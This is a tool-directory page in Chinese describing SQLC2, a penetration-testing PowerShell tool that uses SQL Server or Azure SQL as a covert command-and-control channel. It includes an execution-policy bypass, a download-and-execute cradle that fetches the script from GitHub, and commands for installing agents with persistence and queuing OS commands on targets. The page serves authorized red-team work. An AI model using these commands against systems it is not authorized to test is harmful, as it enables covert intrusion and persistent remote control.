Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
SQLC2 — SQLC2 是一个 PowerShell 脚本,用于部署和管理命令与控制(C2)系统,该系统使用 SQL Server 同时作为控制服务器和代理。 | Kitploit
工具/GitHubGitHub/netspi/sqlc2
持久化机制渗透测试云安全命令与控制红队数据库安全
GitHubnetspi/sqlc2

SQLC2

SQLC2 是一个 PowerShell 脚本,用于部署和管理命令与控制(C2)系统,该系统使用 SQL Server 同时作为控制服务器和代理。

查看仓库
752133年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

SQLC2

SQLC2 是一个 PowerShell 脚本,用于部署和管理一个将 SQL Server 同时作为控制服务器和代理的命令与控制(C2)系统。本质上,SQLC2 只是一个 PowerShell 脚本、一个 TSQL 脚本以及 SQL Server 实例中的几个表,用于跟踪代理、命令和结果。没什么特别花哨的,但在某些渗透测试中可能会派上用场。

有关 SQLC2 的更完整概述,请查看博客文章:https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/。

作者与许可证

  • 作者:Scott Sutherland (@_nullbind), NetSPI - 2018
  • 许可证:BSD 3-Clause
  • 所需依赖:无

为什么要费心使用基于 SQL Server 的 C2?

越来越多的公司开始使用 Azure SQL 数据库。当这些 Azure SQL 实例被创建时,它们会通过 database.windows.net 的子域在 1433 端口上可访问。例如,我可以创建一个名为 "mysupersqlserver.database.windows.net" 的 SQL Server 实例。因此,一些企业网络配置允许对任意 "database.windows.net" 子域在 1433 端口上的出站互联网访问。

总体思路是,随着 Azure SQL Server 的普及,将有更多机会使用 SQL Server 作为看起来像正常流量的控制通道。SQLPS 是一个相当基础的概念验证,但我认为它足以说明这个想法。我知道有很多改进空间,但如果你尝试使用它,我很乐意听取你的反馈。

不仅限于 Azure

尽管本文重点介绍的是将 SQLC2 与 Azure SQL Server 实例一起使用,但你也可以在任何云环境中托管自己的 SQL Server,并在 443 端口上启用 SSL 监听。因此,根据你愿意投入的精力,它可能提供更多的灵活性。

加载 SQLC2

  • 选项 1: 下载脚本并导入。这不需要管理员权限,只会导入到当前会话。但是,它可能被限制性的执行策略阻止,因此你可能希望使用绕过选项。

    Set-ExecutionPolicy Bypass -Scope Process

    Import-Module SQLC2.ps1

  • 选项 2: 通过下载模具加载到会话中。这不需要管理员权限,只会导入到当前会话。它不会被执行策略阻止。

    IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")

    注意: 若要作为其他域用户运行,请先使用 runas 命令启动 PowerShell。

    runas /noprofile /netonly /user:domain\user PowerShell.exe

SQLC2 基本架构图

SQLC2Arch

用户函数

以下是支持预期工作流的用户函数列表。

截图

以下是几个示例截图。

安装 SQLC2 服务器(创建表):

Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

安装 C2

安装 SQLC2 代理(使用服务器链接的 SQL Server 代理作业):

Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

安装代理

查看 SQLC2 代理:

Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

SQLC2Arch

在代理上设置要运行的命令:

Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

设置命令

获取命令结果:

Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

获取命令输出

下载工具
函数名称描述
Install-SQLC2Server在目标 SQL Server/数据库上安装 SQLC2 表。
Install-SQLC2AgentPs安装一个使用 SQL Server 代理作业和服务器链接的代理。
Install-SQLC2AgentLink安装一个使用计划任务或注册表项执行 PowerShell 命令的代理。
Set-SQLC2Command为代理设置要运行的操作系统命令。
Get-SQLC2Command从 C2 获取代理待处理的操作系统命令列表。也可使用 -Execute 标志执行待处理命令。
Get-SQLC2Agent获取在 SQLC2 服务器上注册的代理列表。
Get-SQLC2Result获取待处理和已完成的命令列表。支持 servername、status 和 cid 过滤器。
Remove-SQLC2Agent移除在 SQLC2 上注册的代理。仅清除历史记录。
Remove-SQLC2Command移除 SQLC2 服务器上的命令历史记录。
Uninstall-SQLC2AgentLink卸载使用服务器链接和代理作业的 SQLC2 代理。
Uninstall-SQLC2AgentPs卸载所有基于操作系统的持久化方法。
Uninstall-SQLC2Server从目标数据库中移除 SQLC2 表。